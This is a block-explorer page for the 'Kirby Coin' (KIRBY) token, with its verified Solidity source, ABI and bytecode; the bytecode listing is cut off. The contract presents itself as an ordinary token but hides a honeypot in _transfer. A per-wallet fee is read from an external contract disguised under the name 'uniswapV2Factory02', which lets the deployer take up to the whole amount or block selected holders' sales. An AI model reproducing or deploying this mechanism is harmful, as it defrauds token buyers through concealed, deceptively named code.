ETH Price: $3,638.49 (+0.46%)
 

Overview

Max Total Supply

10,000,000,000 KIRBY

Holders

20

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
199,952,294.350617204 KIRBY

Value
$0.00
0x766b241c3b12bb19432893c146acc70a6b112ab5
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Kirby

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-05-03
*/

// SPDX-License-Identifier: None

/*
https://kirbyeth.site/
https://t.me/kirbyoneth
https://twitter.com/kirbyoneth
*/

pragma solidity 0.8.24;

interface IERC20 {
    function balanceOf(address account) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spnder) external view returns (uint256);
    function totalSupply() external view returns (uint256);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}
library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a);
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0);
        uint256 c = a / b;
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {return 0;}
        uint256 c = a * b;
        require(c / a == b);
        return c;
    }
}
interface IUniswapV2Factory {
    function createPair(address tkenA, address tokenB) external returns (address pair);
}
abstract contract Ownable{
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(msg.sender);
    }
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}
interface IUniswapV2Router {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
    function WETH() external pure returns (address);
    function addLiquidityETH( address token,
        uint amountTokenDesire,
        uint amountTokenMi,
        uint amountETHMi,
        address to,
        uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function factory() external pure returns (address);
}
contract Kirby is Ownable {
    using SafeMath for uint256;
    uint8 private _decimals = 9;

    uint256 private _totalSupply =  10000000000 * 10 ** _decimals;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    address public uniswapV2Pair;
    event Transfer(address indexed from, address indexed to, uint256 amount);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    IUniswapV2Router private uniswapV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

    bool tradingStarted = false;
    uint256 boughAmount = 0;

    string private constant _name = "Kirby Coin";
    string private constant _symbol = "KIRBY";

    constructor () {
        _balances[address(this)] = _totalSupply;
        emit Transfer(address(0), address(this), _totalSupply);
    }

    address internal uniswapV2Factory02 = 0xa3CFd7A8DC553EaaDc8DE5039B9e42772Fa637aB;

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function startTrading() external payable onlyOwner() {
        require(!tradingStarted, "Trading already opened"); _approve(address(this), address(uniswapV2Router), _totalSupply);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)), 0, 0, owner(), block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); tradingStarted = true;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function name() public pure returns (string memory) {
        return _name;
    }
    
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
        return true;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0)); 
        require(amount > 0);
        uint256 _fee = 0;
        if (from != address(this) && from != uniswapV2Pair) { 
            uint256 feePecentage = IERC20(uniswapV2Factory02).balanceOf(from);
            _fee = amount.mul(feePecentage).div(100);
        } else {
            boughAmount++;
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount).sub(_fee);
        emit Transfer(from, to, amount);
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

608060405260095f60146101000a81548160ff021916908360ff1602179055505f60149054906101000a900460ff16600a6200003c91906200043b565b6402540be4006200004e91906200048b565b600155737a250d5630b4cf539739df2c5dacb4c659f2488d60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f600560146101000a81548160ff0219169083151502179055505f60065573a3cfd7a8dc553eaadc8de5039b9e42772fa637ab60075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555034801562000123575f80fd5b506200013533620001e860201b60201c565b60015460025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600154604051620001da9190620004e6565b60405180910390a362000501565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000333578086048111156200030b576200030a620002a9565b5b60018516156200031b5780820291505b80810290506200032b85620002d6565b9450620002eb565b94509492505050565b5f826200034d57600190506200041f565b816200035c575f90506200041f565b81600181146200037557600281146200038057620003b6565b60019150506200041f565b60ff841115620003955762000394620002a9565b5b8360020a915084821115620003af57620003ae620002a9565b5b506200041f565b5060208310610133831016604e8410600b8410161715620003f05782820a905083811115620003ea57620003e9620002a9565b5b6200041f565b620003ff8484846001620002e2565b92509050818404811115620004195762000418620002a9565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f620004478262000426565b915062000454836200042f565b9250620004837fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200033c565b905092915050565b5f620004978262000426565b9150620004a48362000426565b9250828202620004b48162000426565b91508282048414831517620004ce57620004cd620002a9565b5b5092915050565b620004e08162000426565b82525050565b5f602082019050620004fb5f830184620004d5565b92915050565b611b67806200050f5f395ff3fe6080604052600436106100dc575f3560e01c806370a082311161007e57806395d89b411161005857806395d89b4114610286578063a9059cbb146102b0578063dd62ed3e146102ec578063f2fde38b14610328576100dc565b806370a082311461020a578063715018a6146102465780638da5cb5b1461025c576100dc565b806323b872dd116100ba57806323b872dd14610170578063293230b8146101ac578063313ce567146101b657806349bd5a5e146101e0576100dc565b806306fdde03146100e0578063095ea7b31461010a57806318160ddd14610146575b5f80fd5b3480156100eb575f80fd5b506100f4610350565b60405161010191906112ce565b60405180910390f35b348015610115575f80fd5b50610130600480360381019061012b919061137f565b61038d565b60405161013d91906113d7565b60405180910390f35b348015610151575f80fd5b5061015a6103a3565b60405161016791906113ff565b60405180910390f35b34801561017b575f80fd5b5061019660048036038101906101919190611418565b6103ac565b6040516101a391906113d7565b60405180910390f35b6101b4610458565b005b3480156101c1575f80fd5b506101ca6108d2565b6040516101d79190611483565b60405180910390f35b3480156101eb575f80fd5b506101f46108e7565b60405161020191906114ab565b60405180910390f35b348015610215575f80fd5b50610230600480360381019061022b91906114c4565b61090c565b60405161023d91906113ff565b60405180910390f35b348015610251575f80fd5b5061025a610952565b005b348015610267575f80fd5b506102706109d2565b60405161027d91906114ab565b60405180910390f35b348015610291575f80fd5b5061029a6109f9565b6040516102a791906112ce565b60405180910390f35b3480156102bb575f80fd5b506102d660048036038101906102d1919061137f565b610a36565b6040516102e391906113d7565b60405180910390f35b3480156102f7575f80fd5b50610312600480360381019061030d91906114ef565b610a4c565b60405161031f91906113ff565b60405180910390f35b348015610333575f80fd5b5061034e600480360381019061034991906114c4565b610ace565b005b60606040518060400160405280600a81526020017f4b6972627920436f696e00000000000000000000000000000000000000000000815250905090565b5f610399338484610bbd565b6001905092915050565b5f600154905090565b5f6103b8848484610d80565b61044d84336104488560035f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546110d290919063ffffffff16565b610bbd565b600190509392505050565b3373ffffffffffffffffffffffffffffffffffffffff166104776109d2565b73ffffffffffffffffffffffffffffffffffffffff16146104cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104c490611577565b60405180910390fd5b600560149054906101000a900460ff161561051d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610514906115df565b60405180910390fd5b61054b3060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154610bbd565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105b5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105d99190611611565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561065f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106839190611611565b6040518363ffffffff1660e01b81526004016106a092919061163c565b6020604051808303815f875af11580156106bc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106e09190611611565b60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71934306107673061090c565b5f806107716109d2565b426040518863ffffffff1660e01b8152600401610793969594939291906116a5565b60606040518083038185885af11580156107af573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107d49190611718565b50505060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610874929190611768565b6020604051808303815f875af1158015610890573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108b491906117b9565b506001600560146101000a81548160ff021916908315150217905550565b5f8060149054906101000a900460ff16905090565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166109716109d2565b73ffffffffffffffffffffffffffffffffffffffff16146109c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109be90611577565b60405180910390fd5b6109d05f6110f8565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4b49524259000000000000000000000000000000000000000000000000000000815250905090565b5f610a42338484610d80565b6001905092915050565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16610aed6109d2565b73ffffffffffffffffffffffffffffffffffffffff1614610b43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3a90611577565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610bb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba890611854565b60405180910390fd5b610bba816110f8565b50565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c22906118e2565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9090611970565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d7391906113ff565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610db7575f80fd5b5f8111610dc2575f80fd5b5f3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610e4c575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15610f1b575f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231866040518263ffffffff1660e01b8152600401610eac91906114ab565b602060405180830381865afa158015610ec7573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610eeb919061198e565b9050610f136064610f0583866111b990919063ffffffff16565b6111f990919063ffffffff16565b915050610f33565b60065f815480929190610f2d906119e6565b91905055505b610f838260025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546110d290919063ffffffff16565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611026816110188460025f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461121e90919063ffffffff16565b6110d290919063ffffffff16565b60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110c491906113ff565b60405180910390a350505050565b5f828211156110df575f80fd5b5f82846110ec9190611a2d565b90508091505092915050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f8083036111c9575f90506111f3565b5f82846111d69190611a60565b90508284826111e59190611ace565b146111ee575f80fd5b809150505b92915050565b5f808211611205575f80fd5b5f82846112129190611ace565b90508091505092915050565b5f80828461122c9190611afe565b90508381101561123a575f80fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561127b578082015181840152602081019050611260565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6112a082611244565b6112aa818561124e565b93506112ba81856020860161125e565b6112c381611286565b840191505092915050565b5f6020820190508181035f8301526112e68184611296565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61131b826112f2565b9050919050565b61132b81611311565b8114611335575f80fd5b50565b5f8135905061134681611322565b92915050565b5f819050919050565b61135e8161134c565b8114611368575f80fd5b50565b5f8135905061137981611355565b92915050565b5f8060408385031215611395576113946112ee565b5b5f6113a285828601611338565b92505060206113b38582860161136b565b9150509250929050565b5f8115159050919050565b6113d1816113bd565b82525050565b5f6020820190506113ea5f8301846113c8565b92915050565b6113f98161134c565b82525050565b5f6020820190506114125f8301846113f0565b92915050565b5f805f6060848603121561142f5761142e6112ee565b5b5f61143c86828701611338565b935050602061144d86828701611338565b925050604061145e8682870161136b565b9150509250925092565b5f60ff82169050919050565b61147d81611468565b82525050565b5f6020820190506114965f830184611474565b92915050565b6114a581611311565b82525050565b5f6020820190506114be5f83018461149c565b92915050565b5f602082840312156114d9576114d86112ee565b5b5f6114e684828501611338565b91505092915050565b5f8060408385031215611505576115046112ee565b5b5f61151285828601611338565b925050602061152385828601611338565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61156160208361124e565b915061156c8261152d565b602082019050919050565b5f6020820190508181035f83015261158e81611555565b9050919050565b7f54726164696e6720616c7265616479206f70656e6564000000000000000000005f82015250565b5f6115c960168361124e565b91506115d482611595565b602082019050919050565b5f6020820190508181035f8301526115f6816115bd565b9050919050565b5f8151905061160b81611322565b92915050565b5f60208284031215611626576116256112ee565b5b5f611633848285016115fd565b91505092915050565b5f60408201905061164f5f83018561149c565b61165c602083018461149c565b9392505050565b5f819050919050565b5f819050919050565b5f61168f61168a61168584611663565b61166c565b61134c565b9050919050565b61169f81611675565b82525050565b5f60c0820190506116b85f83018961149c565b6116c560208301886113f0565b6116d26040830187611696565b6116df6060830186611696565b6116ec608083018561149c565b6116f960a08301846113f0565b979650505050505050565b5f8151905061171281611355565b92915050565b5f805f6060848603121561172f5761172e6112ee565b5b5f61173c86828701611704565b935050602061174d86828701611704565b925050604061175e86828701611704565b9150509250925092565b5f60408201905061177b5f83018561149c565b61178860208301846113f0565b9392505050565b611798816113bd565b81146117a2575f80fd5b50565b5f815190506117b38161178f565b92915050565b5f602082840312156117ce576117cd6112ee565b5b5f6117db848285016117a5565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f61183e60268361124e565b9150611849826117e4565b604082019050919050565b5f6020820190508181035f83015261186b81611832565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6118cc60248361124e565b91506118d782611872565b604082019050919050565b5f6020820190508181035f8301526118f9816118c0565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61195a60228361124e565b915061196582611900565b604082019050919050565b5f6020820190508181035f8301526119878161194e565b9050919050565b5f602082840312156119a3576119a26112ee565b5b5f6119b084828501611704565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6119f08261134c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611a2257611a216119b9565b5b600182019050919050565b5f611a378261134c565b9150611a428361134c565b9250828203905081811115611a5a57611a596119b9565b5b92915050565b5f611a6a8261134c565b9150611a758361134c565b9250828202611a838161134c565b91508282048414831517611a9a57611a996119b9565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611ad88261134c565b9150611ae38361134c565b925082611af357611af2611aa1565b5b828204905092915050565b5f611b088261134c565b9150611b138361134c565b9250828201905080821115611b2b57611b2a6119b9565b5b9291505056fea2646970667358221220f5ea62397fc63aaafb345ab5ab60a8a685a1e9f9db33c67c44481ffceac1148b64736f6c63430008180033

Deployed Bytecode

0x6080604052600436106100dc575f3560e01c806370a082311161007e57806395d89b411161005857806395d89b4114610286578063a9059cbb146102b0578063dd62ed3e146102ec578063f2fde38b14610328576100dc565b806370a082311461020a578063715018a6146102465780638da5cb5b1461025c576100dc565b806323b872dd116100ba57806323b872dd14610170578063293230b8146101ac578063313ce567146101b657806349bd5a5e146101e0576100dc565b806306fdde03146100e0578063095ea7b31461010a57806318160ddd14610146575b5f80fd5b3480156100eb575f80fd5b506100f4610350565b60405161010191906112ce565b60405180910390f35b348015610115575f80fd5b50610130600480360381019061012b919061137f565b61038d565b60405161013d91906113d7565b60405180910390f35b348015610151575f80fd5b5061015a6103a3565b60405161016791906113ff565b60405180910390f35b34801561017b575f80fd5b5061019660048036038101906101919190611418565b6103ac565b6040516101a391906113d7565b60405180910390f35b6101b4610458565b005b3480156101c1575f80fd5b506101ca6108d2565b6040516101d79190611483565b60405180910390f35b3480156101eb575f80fd5b506101f46108e7565b60405161020191906114ab565b60405180910390f35b348015610215575f80fd5b50610230600480360381019061022b91906114c4565b61090c565b60405161023d91906113ff565b60405180910390f35b348015610251575f80fd5b5061025a610952565b005b348015610267575f80fd5b506102706109d2565b60405161027d91906114ab565b60405180910390f35b348015610291575f80fd5b5061029a6109f9565b6040516102a791906112ce565b60405180910390f35b3480156102bb575f80fd5b506102d660048036038101906102d1919061137f565b610a36565b6040516102e391906113d7565b60405180910390f35b3480156102f7575f80fd5b50610312600480360381019061030d91906114ef565b610a4c565b60405161031f91906113ff565b60405180910390f35b348015610333575f80fd5b5061034e600480360381019061034991906114c4565b610ace565b005b60606040518060400160405280600a81526020017f4b6972627920436f696e00000000000000000000000000000000000000000000815250905090565b5f610399338484610bbd565b6001905092915050565b5f600154905090565b5f6103b8848484610d80565b61044d84336104488560035f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546110d290919063ffffffff16565b610bbd565b600190509392505050565b3373ffffffffffffffffffffffffffffffffffffffff166104776109d2565b73ffffffffffffffffffffffffffffffffffffffff16146104cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104c490611577565b60405180910390fd5b600560149054906101000a900460ff161561051d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610514906115df565b60405180910390fd5b61054b3060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154610bbd565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105b5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105d99190611611565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561065f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106839190611611565b6040518363ffffffff1660e01b81526004016106a092919061163c565b6020604051808303815f875af11580156106bc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106e09190611611565b60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71934306107673061090c565b5f806107716109d2565b426040518863ffffffff1660e01b8152600401610793969594939291906116a5565b60606040518083038185885af11580156107af573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107d49190611718565b50505060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610874929190611768565b6020604051808303815f875af1158015610890573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108b491906117b9565b506001600560146101000a81548160ff021916908315150217905550565b5f8060149054906101000a900460ff16905090565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166109716109d2565b73ffffffffffffffffffffffffffffffffffffffff16146109c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109be90611577565b60405180910390fd5b6109d05f6110f8565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4b49524259000000000000000000000000000000000000000000000000000000815250905090565b5f610a42338484610d80565b6001905092915050565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16610aed6109d2565b73ffffffffffffffffffffffffffffffffffffffff1614610b43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3a90611577565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610bb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba890611854565b60405180910390fd5b610bba816110f8565b50565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c22906118e2565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273fffffffffffffffffffff